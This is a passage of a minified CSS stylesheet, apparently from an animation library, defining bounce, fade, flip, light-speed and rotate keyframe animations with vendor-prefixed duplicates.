bounceIn{20%,40%,60%,80%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}20%{-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}40%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}60%{opacity:1;-webkit-transform:scale3d(1.03,1.03,1.03);transform:scale3d(1.03,1.03,1.03)}80%{-webkit-transform:scale3d(.97,.97,.97);transform:scale3d(.97,.97,.97)}to{opacity:1;-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}.bounceIn{-webkit-animation-name:bounceIn;animation-name:bounceIn}@-webkit-keyframes bounceInDown{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}to{-webkit-transform:none;transform:none}}@keyframes bounceInDown{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(0,-3000px,0);transform:translate3d(0,-3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,25px,0);transform:translate3d(0,25px,0)}75%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}90%{-webkit-transform:translate3d(0,5px,0);transform:translate3d(0,5px,0)}to{-webkit-transform:none;transform:none}}.bounceInDown{-webkit-animation-name:bounceInDown;animation-name:bounceInDown}@-webkit-keyframes bounceInLeft{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}to{-webkit-transform:none;transform:none}}@keyframes bounceInLeft{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}0%{opacity:0;-webkit-transform:translate3d(-3000px,0,0);transform:translate3d(-3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(25px,0,0);transform:translate3d(25px,0,0)}75%{-webkit-transform:translate3d(-10px,0,0);transform:translate3d(-10px,0,0)}90%{-webkit-transform:translate3d(5px,0,0);transform:translate3d(5px,0,0)}to{-webkit-transform:none;transform:none}}.bounceInLeft{-webkit-animation-name:bounceInLeft;animation-name:bounceInLeft}@-webkit-keyframes bounceInRight{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}from{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}to{-webkit-transform:none;transform:none}}@keyframes bounceInRight{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}from{opacity:0;-webkit-transform:translate3d(3000px,0,0);transform:translate3d(3000px,0,0)}60%{opacity:1;-webkit-transform:translate3d(-25px,0,0);transform:translate3d(-25px,0,0)}75%{-webkit-transform:translate3d(10px,0,0);transform:translate3d(10px,0,0)}90%{-webkit-transform:translate3d(-5px,0,0);transform:translate3d(-5px,0,0)}to{-webkit-transform:none;transform:none}}.bounceInRight{-webkit-animation-name:bounceInRight;animation-name:bounceInRight}@-webkit-keyframes bounceInUp{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}from{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes bounceInUp{60%,75%,90%,from,to{-webkit-animation-timing-function:cubic-bezier(.215,.61,.355,1);animation-timing-function:cubic-bezier(.215,.61,.355,1)}from{opacity:0;-webkit-transform:translate3d(0,3000px,0);transform:translate3d(0,3000px,0)}60%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}75%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}90%{-webkit-transform:translate3d(0,-5px,0);transform:translate3d(0,-5px,0)}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.bounceInUp{-webkit-animation-name:bounceInUp;animation-name:bounceInUp}@-webkit-keyframes bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}to{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}@keyframes bounceOut{20%{-webkit-transform:scale3d(.9,.9,.9);transform:scale3d(.9,.9,.9)}50%,55%{opacity:1;-webkit-transform:scale3d(1.1,1.1,1.1);transform:scale3d(1.1,1.1,1.1)}to{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}}.bounceOut{-webkit-animation-name:bounceOut;animation-name:bounceOut}@-webkit-keyframes bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes bounceOutDown{20%{-webkit-transform:translate3d(0,10px,0);transform:translate3d(0,10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,-20px,0);transform:translate3d(0,-20px,0)}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.bounceOutDown{-webkit-animation-name:bounceOutDown;animation-name:bounceOutDown}@-webkit-keyframes bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes bounceOutLeft{20%{opacity:1;-webkit-transform:translate3d(20px,0,0);transform:translate3d(20px,0,0)}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}.bounceOutLeft{-webkit-animation-name:bounceOutLeft;animation-name:bounceOutLeft}@-webkit-keyframes bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes bounceOutRight{20%{opacity:1;-webkit-transform:translate3d(-20px,0,0);transform:translate3d(-20px,0,0)}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.bounceOutRight{-webkit-animation-name:bounceOutRight;animation-name:bounceOutRight}@-webkit-keyframes bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes bounceOutUp{20%{-webkit-transform:translate3d(0,-10px,0);transform:translate3d(0,-10px,0)}40%,45%{opacity:1;-webkit-transform:translate3d(0,20px,0);transform:translate3d(0,20px,0)}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}.bounceOutUp{-webkit-animation-name:bounceOutUp;animation-name:bounceOutUp}@-webkit-keyframes fadeIn{from{opacity:0}to{opacity:1}}@keyframes fadeIn{from{opacity:0}to{opacity:1}}.fadeIn{-webkit-animation-name:fadeIn;animation-name:fadeIn}@-webkit-keyframes fadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInDown{from{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInDown{-webkit-animation-name:fadeInDown;animation-name:fadeInDown}@-webkit-keyframes fadeInDownBig{from{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInDownBig{from{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInDownBig{-webkit-animation-name:fadeInDownBig;animation-name:fadeInDownBig}@-webkit-keyframes fadeInLeft{from{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInLeft{from{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInLeft{-webkit-animation-name:fadeInLeft;animation-name:fadeInLeft}@-webkit-keyframes fadeInLeftBig{from{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInLeftBig{from{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInLeftBig{-webkit-animation-name:fadeInLeftBig;animation-name:fadeInLeftBig}@-webkit-keyframes fadeInRight{from{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInRight{from{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInRight{-webkit-animation-name:fadeInRight;animation-name:fadeInRight}@-webkit-keyframes fadeInRightBig{from{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInRightBig{from{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInRightBig{-webkit-animation-name:fadeInRightBig;animation-name:fadeInRightBig}@-webkit-keyframes fadeInUp{from{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInUp{from{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInUp{-webkit-animation-name:fadeInUp;animation-name:fadeInUp}@-webkit-keyframes fadeInUpBig{from{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}to{opacity:1;-webkit-transform:none;transform:none}}@keyframes fadeInUpBig{from{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}to{opacity:1;-webkit-transform:none;transform:none}}.fadeInUpBig{-webkit-animation-name:fadeInUpBig;animation-name:fadeInUpBig}@-webkit-keyframes fadeOut{from{opacity:1}to{opacity:0}}@keyframes fadeOut{from{opacity:1}to{opacity:0}}.fadeOut{-webkit-animation-name:fadeOut;animation-name:fadeOut}@-webkit-keyframes fadeOutDown{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}.fadeOutDown{-webkit-animation-name:fadeOutDown;animation-name:fadeOutDown}@-webkit-keyframes fadeOutDownBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}@keyframes fadeOutDownBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,2000px,0);transform:translate3d(0,2000px,0)}}.fadeOutDownBig{-webkit-animation-name:fadeOutDownBig;animation-name:fadeOutDownBig}@-webkit-keyframes fadeOutLeft{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes fadeOutLeft{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.fadeOutLeft{-webkit-animation-name:fadeOutLeft;animation-name:fadeOutLeft}@-webkit-keyframes fadeOutLeftBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}@keyframes fadeOutLeftBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(-2000px,0,0);transform:translate3d(-2000px,0,0)}}.fadeOutLeftBig{-webkit-animation-name:fadeOutLeftBig;animation-name:fadeOutLeftBig}@-webkit-keyframes fadeOutRight{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes fadeOutRight{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.fadeOutRight{-webkit-animation-name:fadeOutRight;animation-name:fadeOutRight}@-webkit-keyframes fadeOutRightBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}@keyframes fadeOutRightBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(2000px,0,0);transform:translate3d(2000px,0,0)}}.fadeOutRightBig{-webkit-animation-name:fadeOutRightBig;animation-name:fadeOutRightBig}@-webkit-keyframes fadeOutUp{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}@keyframes fadeOutUp{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}.fadeOutUp{-webkit-animation-name:fadeOutUp;animation-name:fadeOutUp}@-webkit-keyframes fadeOutUpBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}@keyframes fadeOutUpBig{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(0,-2000px,0);transform:translate3d(0,-2000px,0)}}.fadeOutUpBig{-webkit-animation-name:fadeOutUpBig;animation-name:fadeOutUpBig}@-webkit-keyframes flip{from{-webkit-transform:perspective(400px) rotate3d(0,1,0,-360deg);transform:perspective(400px) rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95);transform:perspective(400px) scale3d(.95,.95,.95);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}to{-webkit-transform:perspective(400px);transform:perspective(400px);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}@keyframes flip{from{-webkit-transform:perspective(400px) rotate3d(0,1,0,-360deg);transform:perspective(400px) rotate3d(0,1,0,-360deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}40%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-190deg);-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}50%{-webkit-transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);transform:perspective(400px) translate3d(0,0,150px) rotate3d(0,1,0,-170deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}80%{-webkit-transform:perspective(400px) scale3d(.95,.95,.95);transform:perspective(400px) scale3d(.95,.95,.95);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}to{-webkit-transform:perspective(400px);transform:perspective(400px);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}}.animated.flip{-webkit-backface-visibility:visible;backface-visibility:visible;-webkit-animation-name:flip;animation-name:flip}@-webkit-keyframes flipInX{from{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(1,0,0,10deg);transform:perspective(400px) rotate3d(1,0,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-5deg);transform:perspective(400px) rotate3d(1,0,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInX{from{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(1,0,0,10deg);transform:perspective(400px) rotate3d(1,0,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-5deg);transform:perspective(400px) rotate3d(1,0,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}.flipInX{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInX;animation-name:flipInX}@-webkit-keyframes flipInY{from{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-20deg);transform:perspective(400px) rotate3d(0,1,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(0,1,0,10deg);transform:perspective(400px) rotate3d(0,1,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-5deg);transform:perspective(400px) rotate3d(0,1,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}@keyframes flipInY{from{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-20deg);transform:perspective(400px) rotate3d(0,1,0,-20deg);-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotate3d(0,1,0,10deg);transform:perspective(400px) rotate3d(0,1,0,10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-5deg);transform:perspective(400px) rotate3d(0,1,0,-5deg)}to{-webkit-transform:perspective(400px);transform:perspective(400px)}}.flipInY{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipInY;animation-name:flipInY}@-webkit-keyframes flipOutX{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);opacity:0}}@keyframes flipOutX{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(1,0,0,-20deg);transform:perspective(400px) rotate3d(1,0,0,-20deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(1,0,0,90deg);transform:perspective(400px) rotate3d(1,0,0,90deg);opacity:0}}.flipOutX{-webkit-animation-name:flipOutX;animation-name:flipOutX;-webkit-backface-visibility:visible!important;backface-visibility:visible!important}@-webkit-keyframes flipOutY{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-15deg);transform:perspective(400px) rotate3d(0,1,0,-15deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);opacity:0}}@keyframes flipOutY{from{-webkit-transform:perspective(400px);transform:perspective(400px)}30%{-webkit-transform:perspective(400px) rotate3d(0,1,0,-15deg);transform:perspective(400px) rotate3d(0,1,0,-15deg);opacity:1}to{-webkit-transform:perspective(400px) rotate3d(0,1,0,90deg);transform:perspective(400px) rotate3d(0,1,0,90deg);opacity:0}}.flipOutY{-webkit-backface-visibility:visible!important;backface-visibility:visible!important;-webkit-animation-name:flipOutY;animation-name:flipOutY}@-webkit-keyframes lightSpeedIn{from{-webkit-transform:translate3d(100%,0,0) skewX(-30deg);transform:translate3d(100%,0,0) skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);transform:skewX(-5deg);opacity:1}to{-webkit-transform:none;transform:none;opacity:1}}@keyframes lightSpeedIn{from{-webkit-transform:translate3d(100%,0,0) skewX(-30deg);transform:translate3d(100%,0,0) skewX(-30deg);opacity:0}60%{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-transform:skewX(-5deg);transform:skewX(-5deg);opacity:1}to{-webkit-transform:none;transform:none;opacity:1}}.lightSpeedIn{-webkit-animation-name:lightSpeedIn;animation-name:lightSpeedIn;-webkit-animation-timing-function:ease-out;animation-timing-function:ease-out}@-webkit-keyframes lightSpeedOut{from{opacity:1}to{-webkit-transform:translate3d(100%,0,0) skewX(30deg);transform:translate3d(100%,0,0) skewX(30deg);opacity:0}}@keyframes lightSpeedOut{from{opacity:1}to{-webkit-transform:translate3d(100%,0,0) skewX(30deg);transform:translate3d(100%,0,0) skewX(30deg);opacity:0}}.lightSpeedOut{-webkit-animation-name:lightSpeedOut;animation-name:lightSpeedOut;-webkit-animation-timing-function:ease-in;animation-timing-function:ease-in}@-webkit-keyframes rotateIn{from{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,-200deg);transform:rotate3d(0,0,1,-200deg);opacity:0}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateIn{from{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,-200deg);transform:rotate3d(0,0,1,-200deg);opacity:0}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:none;transform:none;opacity:1}}.rotateIn{-webkit-animation-name:rotateIn;animation-name:rotateIn}@-webkit-keyframes rotateInDownLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInDownLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInDownLeft{-webkit-animation-name:rotateInDownLeft;animation-name:rotateInDownLeft}@-webkit-keyframes rotateInDownRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInDownRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInDownRight{-webkit-animation-name:rotateInDownRight;animation-name:rotateInDownRight}@-webkit-keyframes rotateInUpLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInUpLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInUpLeft{-webkit-animation-name:rotateInUpLeft;animation-name:rotateInUpLeft}@-webkit-keyframes rotateInUpRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-90deg);transform:rotate3d(0,0,1,-90deg);opacity:0}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}@keyframes rotateInUpRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-90deg);transform:rotate3d(0,0,1,-90deg);opacity:0}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:none;transform:none;opacity:1}}.rotateInUpRight{-webkit-animation-name:rotateInUpRight;animation-name:rotateInUpRight}@-webkit-keyframes rotateOut{from{-webkit-transform-origin:center;transform-origin:center;opacity:1}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,200deg);transform:rotate3d(0,0,1,200deg);opacity:0}}@keyframes rotateOut{from{-webkit-transform-origin:center;transform-origin:center;opacity:1}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,200deg);transform:rotate3d(0,0,1,200deg);opacity:0}}.rotateOut{-webkit-animation-name:rotateOut;animation-name:rotateOut}@-webkit-keyframes rotateOutDownLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}}@keyframes rotateOutDownLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}}.rotateOutDownLeft{-webkit-animation-name:rotateOutDownLeft;animation-name:rotateOutDownLeft}@-webkit-keyframes rotateOutDownRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}@keyframes rotateOutDownRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}.rotateOutDownRight{-webkit-animation-name:rotateOutDownRight;animation-name:rotateOutDownRight}@-webkit-keyframes rotateOutUpLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}@keyframes rotateOutUpLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}.rotateOutUpLeft{-webkit-animation-name:rotateOutUpLeft;animation-name:rotateOutUpLeft}@-webkit-keyframes rotateOutUpRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,90deg);transform:rotate3d(0,0,1,90deg);opacity:0}}@keyframes rotateOutUpRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}to{-webkit-transform-origin:right bottom;transform-origin:right 